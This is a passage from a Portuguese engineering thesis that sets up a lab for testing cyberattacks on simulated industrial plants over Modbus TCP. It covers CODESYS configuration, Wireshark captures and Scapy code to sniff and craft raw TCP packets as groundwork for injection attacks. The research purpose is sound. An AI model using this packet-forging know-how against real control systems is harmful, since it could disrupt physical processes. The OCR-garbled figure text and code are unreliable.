do CLP a esses canais de entrada e saida (input/output) no Server. E importante
lembrar que a criacdo dos canais e a quantidade de 1/Os devem ser equivalentes
aos 1/0s configurados no Factory 1/O, mostrados anteriormente na Figura 17.

Os canais representam diferentes Function Codes do protocolo Modbus TCP,
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ou seja, correspondem as fungoes especificas que definem o tipo de mensagem que

serd enviada ou recebida. Como ilustrado nas figuras, foram configurados quatro

tipos distintos de mensagens, entre eles o Write Multiple Coils (Function Code

15), que é uma funcdo de escrita de multiplos coils (saidas digitais) no servidor.

Os canais sdo divididos em bytes, portanto a instdncia canal 0[0] corresponde ao

byte 0 do canal 0, j& canal[0][1] corresponde ao byte 1 do canal o;

[l Modbus_TCP_Server x
Geral

Canaldo servidorModbus
Inicializar servidor Modbus

ModbusTCPServer Pardmetros

[ Modbus TCP Server X
Geral

Canaldo servidorModbus
Inicializar servidor Modbus

ModbusTCPServer Pardmetros

ModbusTCPServer Mapeamenta de
E/S

ModbusTCPServer Objetas IEC
Status

Informagdes

Figura 24 — Criacao dos canais

MNome

Channel 0
Channel 1
Channel 2
Channel 3

W e o

Tipo de acesso

Write Multiple Coils (Cddigo da Fungdo 15)
Write Multiple Registers (Cddigo da Fungdo 16)
Read Discrete Inputs (Cddigo da Funcdo 02)
Read Input Registers (Cédigo da Fungio 04)

Gatilho

Cidico
Cidico
Cidlico
Cidlico

; t#100ms
; t#100ms
; t=100ms
¢ t#100ms

Deslocamento READ Comprimento

160000 10
160000 3

Fonte: Autor

Figura 25 — Atribuicao de tags aos bits e bytes

Localizar Filtro Mostrar tudo ~ ok Adicionar FB para canal de
Variavel Mapeamente  Canal Enderege Tipe
=" Channel 0 %QB0 ARRAY [0..1] OF BYTE
=" Channel 0[0]  %QB0 BYTE
"% Application.GVL.ESTEIRA_PALLET " BitD E=try BOOL
"% Application.GVL ESTEIRA_CAIXA " Bit1 LIT=vnE BOOL
"% Application.GVL.ESTEIRA_SAIDA " Bit2 BEHER BOOL
"$ Application.GVL.GIRO " Bit3 EHES BOOL
"% Application. GYL.GRAB i Bit4 own 4 BOOL
"% Bit5 %QX0. 5 BOOL
"% Bit %QKD.6 BOOL
"% Bit7 %QH0.7 BOOL
=g Channel 0[1]  %QB1 BYTE
"% Application, GVL.Luz_start " BitD EI-UTas BOOL
"% Application. GVL.Luz_Reset ] Bitl SOt BOOL
"% Application.GVL.Luz_Stop i Bit2 oyt BOOL
= "% Channel 1 %QW1 ARRAY [0..3] OF WORD
+- Ty Application.GVL.SP_X " Channel 1[0] SO WORD
+-"@ Application.GVL.SP_Y i Channel 1[1] ow WORD
+- " Applcation.GVL.SP_Z ] Channel 1[2] oW WORD
#-" Application.GVL. CONT " Channel 1[3] EIE=tees WORD
i | Channel 2 %IBO ARRAY [0..1] OF BYTE
. | Channel 2[0] %IE0 BYTE
4% Application. GVL.PALLET_POSICIONADO k] BitD BEHE-E BOOL
#% Application. GVL.CALXA_POSICIONADA " Bit1 STHEt BOOL
4% Application.GVL.PRONTO_P_GRAB " Bit2 2THE2 BOOL
4% Application. GVL.LIMITE_GIRO " Bit3 BTG-S BOOL
*% Application. GVL.Botao_Start " Bit4 SEHE BOOL
*$ Application.GVL.Botan_Reset ] Bit5 BLTHO-E BOOL
*% application. GVL.Botao_Stop ] Bits LTS BOCL
* Bit7 %IXD.7 BOOL

Fonte: Autor
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A Figura 26 apresenta o processo de criagao de tags. As varidveis declara-
das em um objeto GVL (Global Variable List) possuem escopo global e podem
ser acessadas por qualquer POU (Program Organization Units) do projeto, inde-
pendentemente do bloco de codigo. Ja as variaveis locais sdao criadas dentro dos
POUs, que podem ser Programas, Bloco de fungoes ou Fungdes, e onde a logica é
efetivamente implementada na linguagem escolhida. Essas variaveis pertencem a
instancia do POU em que foram declaradas e s6 ficam acessiveis fora dele quando
essa instancia é utilizada como referéncia, permitindo acesso por meio de <No-
meDalnstancia>.<Variavel>, caso contrario, permanecem encapsuladas. Assim,
enquanto as variaveis globais facilitam o compartilhamento de informacoes entre
diferentes partes da aplicagao, sendo frequentemente empregadas no mapeamento
de entradas e saidas do protocolo Modbus TCP, as variaveis locais contribuem para

modularidade, organizagao e encapsulamento da légica interna de cada bloco.

Figura 26 — Criagao de TAGs

ivos - 1 @ o x v ¥ PRINCIPAL x
PICK FLACE - 1 1 PROGRAM PRINCIPAL
[ Device (CODESYS Contral Win V3 x64) 2| VAR GLORAL O 2l VAR
=B L6gica CLP ) :
=€) Appication 4 BALLET_POSICICNADO:BOOL: 4
— 5| CAIXA_POSICIONADA:BOOL; 5 SP_¥_INT:INT:
€  ERONTO_F_GRRB:BOOL: € SP_Y_INT:INT:
] Gestor de biblioteca 7 LIMITE_GIRO:BOOL: 7 SB_Z_INT:INT;
] comanpos (pR6) - POS_X:WORD; 3 T
= = POS_Y:WORD; :
10 BOS_Z:WORD; 10 CLOSE: BOOL;
11 Botao_Start:BOOL; 11 tl: BOOL;
=2 Configuracio de simbolos 1z Botao_Stop:BOOL; 12 start_permitido: BOOL:
= @ Configuracdo de tarefas - Botao_Resetr:BOOL; L3 I¥1: BOOL;
.2k " = Ll A¥2: BOOL;
iy MainTask (IEC-Tasks) 15 15 L¥3: BOOL;
&) COMANDOS 1e 1¢  tonl: TON;
& rsT 17 ESTEIRA_PALLET:BOOL; 17 CLOSE2: BOOL;
] CONTADOR 12 ESTEIRA_CATXA:BOOL: 1z CLOSE3: BOOL:
@ PRINCIPAL 15 ESTEIRAR_SARIDR:BOOL; 1 5TOP_GRAB: BOOL;
= [@g Ethernet Ethemet) 20 GIRQ:BOOL: 2 MEM1: BOOL;
= mg Modbus_TCP_Client (Modbus TCP Client) “ GRAB:BOOL; - AUE4: BOOL;
m Modbus_TCP_Server (Modbus TCF Server) - SE_X:WORD; 2= AUXS: BOOL;
2 SP_Y:WORD; 23 LIBERA_ESTEIRR PALLET: BOOL;
2 SE_Z:WORD; 2 RESTART: BOOL;
z CONT :WORD ; E: END_VER
ZE Luz_start:BOOL;
27 Luz_Stop:BOOL;
2 Luz_Reset:BOOL;
3l END VAR
11

Fonte: Autor

Apés a criagao das variaveis, é necessario configurar os simbolos (Symbols Con-
figuration) no CODESYS, conforme mostrado na Figura 27. Essa configuragao

define quais varidveis poderao ser acessadas externamente pelo protocolo de co-
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municagao, permitindo que o CLP troque informacgoes com outros dispositivos na
rede, como o Factory 1/0.

No caso deste exemplo, foram selecionadas apenas as variaveis globais da lista
GVL para publicagao, garantindo que apenas essas informagoes pudessem ser com-
partilhadas com o servidor Modbus. Em seguida, essas mesmas variaveis globais
foram associadas aos canais de entrada e saida definidos anteriormente, permitindo

a comunicacao direta entre o CLP simulado e a planta virtual.

Figura 27 — Configuracao de simbolos

Dispositivos > 3 X B2 Configuracio de simbolos X
=3 PRCK_FLACE hd vista + | [#% Compilar Configuragbes + Ferramentas +
= ﬂi Device (CODESYS Control Win V3 x64) A configuracdo de simbolos alterada serd transferida com o préximo download ou alteragdo online

=180 Légica cLp
=N g1 icati
- :p;'::tm # [7][5] comanpos
m Gestor de biblioteca
¥ comanpos (PRG)
%] CONTADCR (PRG)
[ PRINCIPAL (PRG)

Simbolos Direitos de acesso Maxime  Atribute  Tipo

CONTADOR

GVL

% Botao_Reset

4 Botao_Start

# Botao_Stop

# CAIXA_POSICIONADA
% CONT

# ESTEIRA_CAIXA
# ESTEIRA_PALLET
# ESTEIRA_SAIDA
# GIRD

# GRAB

# LIMITE_GIRO

# Luz_Reset

$ Luz_Stop

% Luz_start

# PALLET_POSICIONADO
# POS_X

# POS_Y

¢ POS_Z

# PRONTO_P_GRAB
# SP_X

& SPY

$® SP_Z
InConfig_Globals
PRINCIPAL

RST

20O

mWmmePEREERERIEEEEREEE EE R E

BOOL
BOOL
BOOL
BOOL
WORD
BOOL
BOOL
BOOL
BOOL
BOOL
BOOL
BOOL
BOOL
BOOL
BOOL
WORD
WORD
WORD
BOOL
WORD
WORD
WORD

= \d}g MainTask (IEC-Tasks)
H coMANDOS
H] rsT
&) CONTADOR.
] PRINCIPAL

= mg Ethernet (Ethernet)
= mg Modbus_TCP_Client (Modbus TCP Client)
m Modbus_TCP_Server {(Modbus TCP Server)

FILFLS I IISISISISSSSS
FIFFISIIIIISEPISIISLLELRESL

oog

Fonte: Autor

A Figura 28 mostra a configuragao das tarefas ( Tasks) no CODESYS. As tarefas
definem a ordem e o tipo de execucao dos POUs, determinando quando e com que
frequéncia cada bloco de cédigo serd executado.

Neste caso, a tarefa principal, denominada Main Task, instancia todos os POUs
do projeto em uma ordem estabelecida e os executa de forma ciclica, com intervalo

de 20 ms entre cada ciclo.
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Figura 28 — Configuracao de tarefa
Dispositivos * 0 X B8 Configuragdo de simbolos g& MainTask x
=3l PICK_FLACE || Configuracdo
= ﬁ Device (CODESYS Control Win V3 x64)
=& Logica CLP Prior. { 0.31 1
=17 Application
@ v 1T
‘op Int: | . ex. t#200
i) Gestor de biblioteca | Ciclico bl n:;;wa o (p. ex
[ comanpos (PRG)
1] CONTADOR (PRG) Watchdog
B PRINCIPAL (PRG) () Habiltar
.@ RST (PRG) Tempao {p. ex.: t£200
8 Configuracio de simbolos ms)
= (&8 Configuraczo de tarefas Sensibilidade .
= @5 MainTask (IEC-Tasks)
] comanNDDs
& rsT
@ CONTADOR. db Adicionar chamada Remowver chamada [&] Alteral
& PRINCIPAL —r
= 3 Ethernet Eﬂ'IEFI'IEt:l
9 _ , & COMANDOS
= mﬁ Maodbus_TCP_Client (Modbus TCP Client) @ .
ﬁ Modbus_TCP_Server (Modbus TCP Server) @ CONTADOR
= R,

Fonte: Autor

Por fim, a Figura 29 demonstra uma simulacdo em execucao, na qual é possivel

monitorar o estado das variaveis em tempo real e visualizar a alteracao dos sinais

diretamente no diagrama Ladder. No momento da captura da imagem, o Factory

/0O estava desligado, motivo pelo qual a instancia do Server aparece com o simbolo

de erro no canto esquerdo da tela. Além disso, as varidveis encontram-se todas

em estado logico Fualse, exceto a variavel "luz_start', que, por programacao, é

inicializada em estado True.
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Figura 29 — Simulagao em tempo real

Dispositivos: v R X [#9 PRINCIPAL X ~ ™35 Configuracdo de simbolos & 1
=3 PICK AACE ) Device Application.GVL
gﬂm‘”m i ] (S i) F— Valorp.. Endere.. Comen.. E ||| expressio Tipo
= 8l Lo ar
doacle SPOCINT PALLET POSI... BOOL
- € Application [executar]
N @ o # SPYINT @ CADA _POSIC... BOOL
) Gestor de bivioteca : i:fs’;m : :::Jg:’;:;ﬂ gooL 2
[ comancos pre) ot @ Fos. x T:;LD n -
) comTapcR PRo) & start_permitic @ Fos v woro o
[ privcpaL pre) P -
B esronn # ax @ rosz worp  ©
= o » me @ soto_sat 00
3 Configuraco de simbol
g " $ mG @ Botao_Sop  BOOL
[ configuracgo de tarefq o ot @ somo e
w4 ton atan_Res:
= 288 MainTask (I X BOOL
& comapos # CLOSE2 @ ESTEIRA_PAL.. BOOL
# CLOSES ESTEIRA_CAL. BOOL
RsT
B conaoon = @ ESTEIRA_SAT. BOOL
e @ cro sooL
[ Ethermet (Ethemet) @ cren 8oL
= s x
g o 70 et g wo o
A [ Modbus_TcP_Serve @ oz woo o
= =
=S @ cont WoRs 0
d @ Luz_start BOOL
5 @ Luz_Stop BOOL
@ Luz_Reset BOOL
== =
= =] = = =

Fonte: Autor

Com isso, é possivel compreender o funcionamento basico do CODESYS e
estabelecer uma base sélida para a programagao das cenas utilizadas nos testes
de insercao dos ciberataques. A programacao das duas plantas industriais sera

apresentada nas segoes seguintes.

3.1.3 WireShark

Para realizar a captura de trafego antes do desenvolvimento dos cédigos de
ataque, com o objetivo de compreender melhor o protocolo Modbus TCP e verificar
a troca de pacotes entre os dois computadores, utilizou-se o software de andlise
de trafego de rede Wireshark. De forma simples, o programa permite ao usuario
selecionar a interface de rede desejada e monitorar todo o trafego que circula
por essa interface®. A Figura 30 apresenta a selecao da interface de rede que foi

utilizada na captura.

3 Ver: https://www.wireshark.org. Acesso em: 06/11/2025.
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Figura 30 — Escolha da interface de rede

Bem-vindo ao Wireshark

1contrado)

RK-MEUPC.pcapng (.

..usando este filtro: | = Todas as interfaces exibidas =

o de Rede Bluetooth
Ethernet 2
@ Event Tracing for Windows (ETW) reader: etwdump

Guia do usudrio - Wiki - Perguntas e respostas - Listas de discussdo - SharkFest - Discord do Wireshark - Doar

Fonte: Autor

O Wireshark é especialmente ttil porque permite identificar os pacotes por
tipo e por camada do modelo OSI ou TCP. A Figura 31 mostra o console contendo
uma captura real do trafego de pacotes trocados entre o CODESYS e o Factory
[/O. Na parte superior da interface, destacada em vermelho, encontra-se a barra
de filtros, utilizada para exibir apenas os pacotes desejados, neste caso, pacotes
contendo Modbus na camada de aplicagao.

Na parte inferior da imagem, também destacada em vermelho, observa-se a
area em que o software permite a analise detalhada de cada pacote, possibilitando
expandir e visualizar suas diferentes camadas, como Ethernet, IP, TCP e os dados
especificos do protocolo Modbus TCP. A figura, portanto, demonstra como o Wi-
reshark foi utilizado no desenvolvimento deste projeto, apresentando uma captura

realizada durante os testes iniciais da comunicagao entre o CODESYS e o Factory
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I/O da planta utilizada como exemplo no capitulo anterior.

Figura 31 — Captura real de pacotes

Protocol Length Info

1 z 1s
52 8.848423 a. 168.8.188 56 Respon: 1 : Write Multiple Coils
56 8.859554 192.168.9.188 192.168.0.188 Modbus.. 56 Query: Trans: 1463; H 1, Func: 4: Read Input Registers
58 8.862098 192.168.0.188 192.168.0.188 Modbus... 55 Response: Trans: 1463; Unit: 1, Func: 4: Read Input Registers
6@ @.879350 192.168.0.108 192.168.0.108 Modbus... 56 Query: Trans: 1464; Unit: 1, Func: 2: Read Discrete Inputs
62 9.082034 192.168.0.108 192.168.0.108 Modbus... 54 Response: Trans: 1464; Unit: 1, Func: 2: Read Discrete Inputs
64 8.141704 192.168.0.108 192.168.0.108 Modbus.. 59 Query: Trans: 1465; Unit: 1, Func: 15: Write Multiple Coils
66 ©.142770 192.168.0.108 192.168.0.108 Modbus... 56 Response: Trans: 1465; Unit: 1, Func: 15: Write Multiple Coils
68 @.161824 192.168.0.188 192.168.0.188 Modbus... 56 Query: Trans: 1466; Unit: 1, Func: 4: Read Input Registers
70 8.162954 192.168.9.188 192.168.9.188 Modbus... 55 Response: Trans: 1466; Unit: 1, Func: 4: Read Input Registers
72 9.182857 192.168.8.188 192.168.0.188 Modbus... 56 Query: Trans: 1467; Unit: 1, Func: 2: Read Discrete Inputs
74 9.183783 192.168.9.188 192.168.9.1088 Modbus... 54 Respense: Trans: 1467; Unit: 1, Func: 2: Read Discrete Inputs
111 @.243682 192.168.0.188 192.168.0.188 Modbus... 59 Query: Trans: 1468; Unit: 1, Func: 15: Write Multiple Coils
115 @.245151 192.168.9.108 192.168.9.108 Modbus... 56 Response: Trans: 1468; Unit: 1, Func: 15: Write Multiple Coils
129 8.263481 192.168.0.1688 192.168.0.188 Modbus... 56 Query: Trans: 1469; Unit: 1, Func: 4: Read Input Registers
131 8.26487@ 192.168.0.168 192.168.0.188 Modbus.. 55 Response: Trans: 1469; Unit: 1, Func: 4: Read Input Registers
133 8.283770 192.168.0.188 192.168.0.188 Modbus... 56 Query: Trans: 1478; Unit: 1, Func: 2: Read Discrete Inputs
135 8.285338 192.168.0.168 192.168.8.188 Modbus... 54 Response: Trans: 1478; Unit: 1, Func: 2: Read Discrete Inputs
137 8.343820 192.168.09.188 192.168.0.188 Modbus... 59 Query: Trans: 1471; Unit: 1, Func: 15: Write Multiple Coils
139 8.345852 192.168.0.188 192.168.0.188 Modbus... 56 Response: Trans: 1471; Unit: 1, Func: 15: Write Multiple Coils
141 8.364532 192.168.9.188 192.168.9.188 Modbus.. 56 Query: Trans: 1472; Unit: 1, Func: 4: Read Input Registers
143 8.365972 192.168.0.108 192.168.0.108 Modbus.. 55 Response: Trans: 1472; Unit: 1, Func: 4: Read Input Registers
145 8.3850859 192.168.9.188 192.168.0.188 Modbus. 56 Query: Trans: 1473; Unit: 1, Func: 2: Read Discrete Inputs
147 @.387033 192.168.9.188 192.168.0.108 Modbus.. 54 Response: Trans: 1473; Unit: 1, Func: 2: Read Discrete Inputs
195 @.446277 192.168.0.108 192.168.0.108 Modbus... 59 Query: Trans: 1474; Unit: 1, Func: 15: Write Multiple Coils
197 8.447478 192.168.9.1088 192.168.9.108 Modbus.. 56 Response: Trans: 1474; Unit: 1, Func: 15: Write Multiple Coils
201 @.466835 Q. .168.0. 56 Query: 1, : Read Input Registers

tes on wire (472 bits)

ff 1f @l
- Lid
t @9 @1 of o2 00 00 6c ©2 00 00

Fonte: Autor

Sendo assim, o Wireshark foi uma ferramenta extremamente importante para
a analise de trafego das plantas que seriam posteriormente utilizadas nos ciberata-
ques. Antes de iniciar efetivamente a construcao dos ataques, o programa permitiu
compreender como os pacotes flulam de um computador para outro, o tempo en-
tre as trocas de mensagens, eventuais erros ou inconsisténcias de comunicagao e
se aprofundar na estrutura de cada camada, entendendo o que cada byte significa
em quais parametros era importante prestar mais atencao. Com isso, foi possi-
vel estabelecer uma base sélida para o desenvolvimento dos cenarios de ataque

apresentados nos proximos topicos.

3.1.4 Biblioteca Scapy

A biblioteca Scapy é uma biblioteca desenvolvida para a linguagem Python
que permite realizar sniffing de rede, construir pacotes por camadas e enviar/rece-
ber esses pacotes. Ela disponibiliza um amplo conjunto de fun¢des com diferentes

aplicabilidades. Por meio dessa biblioteca é possivel capturar pacotes trocados
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entre dois computadores, analisar os dados presentes nesses pacotes, construir pa-
cotes novos com base nas informacoes coletadas e enviar esses pacotes de diferentes
formas para dispositivos na rede da interface analisada.*

O trecho de Cédigo 3.1 apresenta a importacao das fungdes do Scapy e um
exemplo de captura via sniff():

from scapy.all import =

from scapy.layers.inet import IP, TCP, Ether
iface_ = "Qualcomm Atheros QCA6Ix4A Wireless Network Adapter"

LEITURA_PACOTES_MODBUS = sniff (
iface=iface_
Ifilter=lambda x: x.haslayer (Raw) and x.haslayer (TCP) and (x[TCP
]. dport = 502 or x[TCP].sport = 502)

Cédigo 3.1 — Exemplo de captura com Scapy

A funcdo sniff, quando chamada, comeca a leitura dos pacotes na interface
de rede escolhida. No exemplo acima, a string iface_ contém o nome da placa de
rede do notebook utilizado, para que seja possivel capturar o trafego que passa por
essa interface. A funcao possui pardmetros importantes, como [lfilter, que permite
aplicar um filtro em Python para afunilar os pacotes capturados. No cédigo foi
usado um lambda (fungdo anénima) para definir esse filtro, util quando a logica
do filtro é simples e usada apenas naquele ponto do cédigo.?

No caso em questao, o filtro seleciona pacotes que possuam camada Raw (pay-
load), camada TCP e que tenham a porta TCP de origem ou destino igual a 502,
ou seja, pacotes Modbus TCP (Queries e Responses).

Além disso, a funcdo sniff possui mecanismos de parada, como timeout e
stop__filter, que permitem interromper a captura automaticamente. Sem esses pa-
rametros a captura continua até que o programa seja interrompido manualmente.
Os parametros iface, Ilfilter e stop _filter sao essenciais para uma captura dirigida

e serao explorados nas se¢oes dedicadas aos ataques.

Ver: <https://scapy.readthedocs.io/en/latest /introduction.html>. Acesso em: 06/11/2025.
5 Ver: <https://pythonacademy.com.br/blog/funcoes-lambda-no-python>. Acesso em:
08/11/2025.


https://scapy.readthedocs.io/en/latest/introduction.html
https://pythonacademy.com.br/blog/funcoes-lambda-no-python
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Apoés a captura, os pacotes sdo retornados como uma lista/objeto do Scapy e
podem ser processados com as diversas ferramentas que a biblioteca oferece. O
trecho abaixo mostra a leitura de um arquivo .pcap gerado pelo Wireshark e o uso
de uma fungdo para gerar uma representagao em PDF de um pacote (observagao:

disponibilidade de pdfdump() depende da versdo/instalagao do Scapy):

a = rdpcap ("pkts_desejados__querry. WMC . pcap")

a[500].pdfdump (" Teste.pdf")

Cédigo 3.2 — Leitura de pcap e exportagao de pacote para PDF

Na Figura 32 obtém-se uma representacao gréafica, resultante da fungdo pdfdump,
dos valores de cada camada, associados aos seus respectivos bytes no pacote. Neste
exemplo, a camada de aplicacao aparece como Raw com 15 bytes de comprimento.
Trata-se de um pacote Modbus TCP cujo payload nao foi decodificado automa-
ticamente pelo Scapy. De fato, o Scapy pode exibir a camada de aplicacao como
Raw quando nao existe um parser, tradutor de bytes para protocolos estrutu-
rados, carregado para o protocolo. Para o Modbus TCP existe a contribuicao
scapy.contrib.modbus que pode ser utilizada para parsear MBAP e PDU, caso es-
teja disponivel na instalagdo. No caso do desenvolvimento deste projeto, o Scapy
foi instalado sem o parser do protocolo Modbus, que foi descoberto apenas ao final
do desenvolvimento.

A Figura 33 mostra o mesmo pacote observado no Wireshark (n°® 501 no Wi-

reshark, que corresponde ao indice 500 em Python, pois o Scapy indexa a partir
de 0).
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dst
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frag
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Figura 32 — Resultado da funcao pdfdump()
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Fonte: Autor

Figura 33 — Pacote 501 analisado pelo Wireshark
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Percebe-se que os tultimos 15 bytes correspondem ao payload Modbus TCP,
referenciados como Raw pelo pdfdump () do Scapy. Isso nao impede a construgao de
pacotes de ataque, pois o Scapy permite a criacao de novas camadas e protocolos,
portanto, mesmo sem o parser do protocolo Modbus, é possivel criar a estrutura de
cabegalho MBAP Header (Modbus/TCP) e a estrutura PDU (Modbus), da forma
como mostrado na Figura 33. A partir das Figuras 32 e 33 é possivel compreender
a estrutura de um pacote Modbus TCP, desde os campos das camadas Ethernet,
IP, TCP até o cabecalho MBAP e a PDU de aplicagdo (Modbus). A Tabela 7

apresenta os campos analisados em cada camada e sua funcao.

Tabela 7 — Principais campos por camada e sua fungao

CAMADA PARAMETRO FUNCAO

Ethernet dst Endereco MAC de destino.
Ethernet src Endereco MAC de origem.
Ethernet type EtherType (ex.: IPv4).

1P version Versao do IP.

1P src Endereco IP de origem.

1P dst Endereco IP de destino.
TCP sport Porta de origem.

TCP dport Porta de destino (502).
TCP seq Ntmero de sequéncia.
TCP ack Numero de confirmacao.
Modbus TCP transaction__id Identificador de transacéo.
Modbus TCP protocol__id ID de protocolo.

Modbus TCP length Comprimento da mensagem.
Modbus TCP unit id Identificador da unidade.
Modbus PDU function_ code Codigo de funcao.

Modbus PDU data (Raw) Dados da PDU.

Fonte: Autor

Além do sniffing de trafego de rede, o Scapy permite a construgdo de pacotes
por camadas e o envio desses pacotes por diferentes meios. O Codigo 3.3 mostra
uma construgao basica de um pacote com as camadas Ethernet, IP e TCP, e duas
formas distintas de envio desse pacote.

| CAMADA ETHERNET = Ether ( sr¢=ENDERECO_MAC SORCE, dst=ENDERECO_MAC_DEST
, type=0x0800)
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3 CAMADA TP = IP (src=IP SOURCE, dst=IP DEST)

5 CAMADA TCP = TCP(dport=PORTA_DEST TCO, sport=PORTA_SRC TCP, seq=SEQ,

ack=ACK, window=WINDOW, flags="PA")
PACOTE _COMPLETO = CAMADA ETHERNET / CAMADA 1P / CAMADA TCP
PACOTE_COMPLETO_TERCEIRA. CAMADA = CAMADA_IP / CAMADA TCP
sendp (PACOTE _COMPLETO)

send (PACOTE_COMPLETO_TERCEIRA CAMADA)

Cédigo 3.3 — Exemplo de construcao e envio de pacotes com Scapy

Durante a fase inicial de desenvolvimento dos vetores de ataque, utilizou-se a
fungdo send() para a transmissao de pacotes no nivel IP/TCP. A funcao send()
constroi automaticamente a camada Ethernet quando necessario e realiza o envio
utilizando a pilha de rede do sistema, o que pode torna-la mais lenta em cenérios
de envio intensivo, pois exige a resolucao de enderecos MAC e a gestao implicita
de parametros de enlace.

Por outro lado, a fungao sendp() envia pacotes diretamente na camada de enlace
(nivel 2), exigindo que o campo Ethernet ji esteja parcialmente construido (por
exemplo, enderecos MAC de origem/destino e o campo type corretamente definidos,
no presente trabalho, type=0x0800 para IPv4). Como a camada Ethernet ja é

fornecida, o envio com sendp() costuma ser mais rapido em testes de injecao.

3.2 Construcao e programacao das plantas

Agora, com uma base sélida do funcionamento de cada ferramenta utilizada,
é possivel seguir para os dois ensaios construidos, a fim de analisar, de fato, a
insercao de ciberataques a uma rede Modbus TCP e suas implicagoes na rede e
no funcionamento das plantas. A primeira cena estruturada foi a da planta de
separacao de objetos por cor. A segunda planta estudada foi um controle de nivel

de um tanque industrial. Em ambos os casos, o software Factory I/0, que simulava
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os modelos das plantas em 3D, foi hospedado no Notebook, de IP 192.168.0.169.
Ja o CODESYS foi o software utilizado para programacao dos CLPs utilizados
para controlar os processos industriais simulados, empregando a linguagem de
programacao Ladder, e sendo hospedado no Desktop, de IP 192.168.0.69. A Figura

34 apresenta o diagrama de como foi construida essa conexao.

Figura 34 — Conexao entre os dois computadores

/"9 FACTORY I/O

[

CODESYS

-

1P 192.168.0.169 IP 192.168.0.69

Fonte: Autor

3.2.1 Plantas de separacao de pecgas

A planta de separagao de pecas por cor € um ambiente existente e pré-construido
no Factory 1/0. No entanto, as cenas prontas do software podem ser alteradas,
e, para este caso, algumas modificagoes foram feitas para tornar a planta mais
proxima do funcionamento desejado. A Figura 35 apresenta uma vista aérea da

planta com indicagoes de cada parte do sistema.
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Figura 35 — Planta de separacao de pecgas por cor

Fonte: Autor

Analisando cada parte do sistema mostrado na figura, é possivel compreender
sua logica de funcionamento. A seta vermelha indica a entrada de pecas. Por essa
entrada, uma esteira de alimentacao conduz as pecas até um sensor responsavel
pela deteccao de cor. O sensor esta posicionado no arco quadrado azul, ao final
da esteira de entrada. Apos a leitura da cor, a peca segue para a esteira de saida
e se encaminha para as rampas de separagao.

De acordo com a cor detectada, azul, verde ou cinza, a pega é direcionada
a sua respectiva rampa de descarregamento, por meio de bracos articulados com
pequenas esteiras auxiliares que sdo ativados conforme necessario. Entre a esteira
de entrada e a de saida existe um stopblade, que atua como um bloqueio fisico entre
as duas esteiras. Enquanto uma peca esta sendo separada na esteira de saida, caso
outra peca chegue a esteira de entrada, o sistema interrompe o movimento da
esteira de entrada e aciona a elevacao do stopblade, isolando temporariamente as
esteiras até que o processo de separacgao na saida seja concluido. Por exemplo,
quando uma peca cinza esta sendo separada na esteira de saida e uma pega de

outra cor alcanca a esteira de entrada, o mecanismo descrito é ativado.
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Ao final da esteira de saida, hd uma rampa indicada pela seta laranja. Essa
rampa € utilizada no caso de parada do sistema, que é controlado pelo painel de
comando representado dentro do quadrado vermelho a direita da imagem. Quando
o sistema para, ele aguarda um novo comando de reinicio. Ao reiniciar, todas as
pecas que ainda estiverem na esteira de saida sao encaminhadas para a rampa in-
dicada pela seta laranja para separacao manual. Assim que nao houver mais pecas
na esteira de saida, o sistema libera o botao de inicio para que o funcionamento
da maquina seja retomado normalmente.

As Figuras 36 e 37 mostram a escolha do protocolo, neste caso Modbus TCP
server, o enderecamento dos I/Os e a configuragao da rede, com o IP do dispositivo,
o Slave ID e a defini¢do de entradas e saidas digitais e analdgicas.

Na Figura 36 é possivel visualizar todos os sensores e atuadores utilizados na
planta. A esquerda encontram-se os sensores, iniciando com “At Exit” no bit
0, do canal de Digital Inputs, que corresponde ao sensor de saida das rampas
de separacao, sendo um unico sensor normalmente fechado que atua para as trés
rampas. Em seguida estao os botoes start, stop e reset e, por fim, o sensor analégico
responsavel pela identificacdo da cor das pegas, identificado como Vision Sensor
e mapeado no Input Register (. Essa variavel é do tipo INT, assumindo o valor 1
quando a cor lida é azul, 4 quando é verde, 7 quando é cinza, e 0 quando nao ha

peca presente.
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Figura 36 — Enderecamento dos I/Os planta 1
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Fonte: Autor

Figura 37 — Configuracao de rede planta 1
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Fonte: Autor
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A direita da Figura 36 estdo todos os atuadores. Séo doze atuadores digitais,
representando as esteiras e dispositivos de movimento: a esteira de entrada cor-
responde ao bit 0, a esteira de saida ao bit 1, o stopblade ao bit 2, os trés bragos
e as respectivas esteiras auxiliares correspondem aos bits 3 a 8, e, por fim, os in-
dicadores luminosos dos botoes de comando sao mapeados nos bits 9 a 11. Além
disso, os trés Holding Registers representam as variaveis atribuidas aos contadores
de pecas de cada cor no painel de comando. Essas variaveis sao do tipo INT e

indicam a quantidade de pegas separadas para cada rampa correspondente.

3.2.1.1 Programacao em Ladder da planta

A configuragao de rede e do protocolo do dispositivo CLP foi realizada exata-
mente conforme descrito anteriormente na Figura 23. O endereco IP do servidor, o
Slave ID e a porta devem ser idénticos aos configurados no Factory 1/0, conforme
apresentado na Figura 36.

A Figura 38 mostra o mapeamento das variaveis que serdao comunicadas entre
o CODESYS e o Factory 1/0, devendo obedecer ao mapeamento previamente
apresentado na Figura 36. Para essa comunicacao, foram criados quatro canais

distintos:

e Canal 0 — Read Discrete Inputs (1 byte): destinado a leitura das
entradas digitais, sendo atribuidos os primeiros quatro bits referentes aos
sensores digitais presentes na planta sendo elas o sensores de presenca de

peca na saida e botoes de comando.

o Canal 1 — Write Multiple Coils (2 bytes): configurado para envio de
saidas digitais do CLP ao Factory I/0. Neste canal, os bits de saida digital
foram mapeados nos bits 0 a 7 do primeiro byte e nos bits 0 a 3 do segundo

byte, representando as esteiras, bracos e indicadores luminosos.

o Canal 2 — Read Input Register (2 bytes): reservado para leitura do
valor anal6gico do sensor de cor (Vision Sensor). Essa variavel é do tipo
WORD (2 bytes) e permite que o CLP identifique a cor detectada por meio

de valores inteiros correspondentes a cada cor.
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o Canal 3 — Write Multiple Registers (6 bytes): utilizado para escrita
de multiplos registradores. Esse canal possui 6 bytes de tamanho, corres-
pondendo a trés variaveis do tipo WORD, cada uma com 2 bytes. Esses re-
gistradores sao utilizados para transmitir ao Factory 1/0 informagdes como
a contagem de pecas por cor ou outros valores de estado que o CLP deva

reportar.

Figura 38 — Mapeamento das variavies de entrada e saida no CLP planta 1

Variavel Mapeamento  Canal Enderego Tipo Unidade Descrigao
= Channel 0 %RIB0 ARRAY [0..0] OF BYTE Read Discrete Inputs
Ei | Channel 0[0] %LIBO BYTE Read Discrete Inputs
*p Application, PRINCIPAL,SENSOR _SAIDA "% Bit0 B4IHO-0 BOOL 0x0000
*p Application.comandos. Botao_start " Bitl Setket BOOL 0x0001
*p Application.comandos.Botao_Stop T Bit2 BeIHe2 BOOL 0x0002
